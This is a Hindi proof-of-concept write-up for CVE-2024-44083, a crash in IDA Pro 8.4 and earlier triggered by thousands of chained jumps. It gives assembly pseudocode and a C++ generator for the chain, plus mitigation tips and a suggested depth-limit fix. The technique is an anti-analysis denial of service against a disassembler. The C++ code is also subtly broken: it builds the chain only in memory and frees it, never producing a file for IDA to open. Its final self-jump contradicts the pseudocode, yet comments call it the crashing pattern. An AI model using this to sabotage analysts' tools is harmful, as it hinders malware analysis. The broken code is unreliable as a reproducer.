
# CVE-2024-44083 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: IDA Pro ≤8.4 में अत्यधिक जंप चेन के कारण स्टैक ओवरफ्लो से क्रैश इसमें तकनीकी विश्लेषण, पुनरुत्पादन कोड, और रिवर्स इंजीनियरिंग टूल्स के लिए शमन सलाह शामिल है।
मूल PoC रिपॉजिटरी हटा दी गई थी (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) तो यहाँ इसे फिर से बनाया गया है। मैंने सोचा कि इसे दोबारा बना दूँ ताकि जो कोई यह समझना चाहे कि यह कैसे काम करता है या अपने सेटअप का परीक्षण करना चाहता है, उसके लिए उपलब्ध हो।
IDA Pro ≤ 8.4 उन बाइनरी को विश्लेषित करते समय क्रैश हो जाता है जिनमें अत्यधिक जंप चेन होती हैं।
ida64.dll यह सीमित नहीं करता कि जंप चेन का अनुसरण करते समय वह कितनी गहराई तक जाता है। इसलिए यदि आपके पास हजारों लिंक्ड जंप वाली एक बाइनरी है जो एंट्री पॉइंट पर समाप्त होती है, तो IDA खुद को खत्म कर लेता है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2024-44083 |
| प्रभावित | IDA Pro ≤ 8.4 |
| घटक | ida64.dll |
| CWE | CWE-770 (संसाधन थकावट) |
| प्रभाव | क्रैश (DoS) |
विचार सरल है: एक सेक्शन बनाएँ जो जंप से भरा हो, जो बार-बार और जंप पर कूदते रहें।
; pseudocode obviously
section .text
; thousands of these
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... keep going ...
jump_9999:
jmp payload
payload:
call _start ; this creates the cross-reference that breaks things
_start:
; IDA tries to resolve all the jumps pointing here
; boom crash
ret
IDA इन सभी जंप को ट्रैक करने और क्रॉस-रेफरेंस बनाने की कोशिश करता है, और पर्याप्त जंप होने पर वह हार मानकर क्रैश हो जाता है।
यदि आप C++ में ऐसा कुछ बनाना चाहते हैं, तो आप कुछ इस प्रकार करेंगे:
#include <windows.h>
#include <cstring>
// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
// allocate executable memory for our jump chain
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000 jumps × 5 bytes + some extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// create 10,000 chained jumps
for (int i = 0; i < 10000; i++) {
// write JMP rel32 instruction (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP opcode
// calculate relative offset to next jump (5 bytes ahead)
int32_t rel = 5;
// copy the 4-byte relative offset
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// last jump creates circular reference
// jump back 5 bytes to create infinite loop
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// you can also return a value to make it believeable
offset += 5;
code[offset] = 0xC3; // ret
// this is the pattern that crashes IDA:
// 10,000 jumps → self-referential jump → IDA gets stuck
// no depth limit in recursion → stack overflow → crash
// cleanup
VirtualFree(code, 0, MEM_RELEASE);
}
मूल रूप से आप बस एक साथ जुड़े हुए बहुत सारे JMP निर्देश लिख रहे हैं। जब IDA इसका विश्लेषण करने में स्मार्ट बनने की कोशिश करता है, तो उसका स्टैक/मेमोरी खत्म हो जाता है।
यदि आप पुराने IDA पर अटके हैं:
संदिग्ध फ़ाइलें खोलने से पहले ऑटो-एनालिसिस बंद करें
संदिग्ध सेक्शन पर विश्लेषण सीमित करें
Hex-Rays को क्या करना चाहिए:
// pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("jump chain too deep. fail.");
return; // dont crash just stop
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
बस एक डेप्थ लिमिट जोड़ें, बस इतना ही।
केवल शैक्षिक उद्देश्यों के लिए, बदमाशी न करें।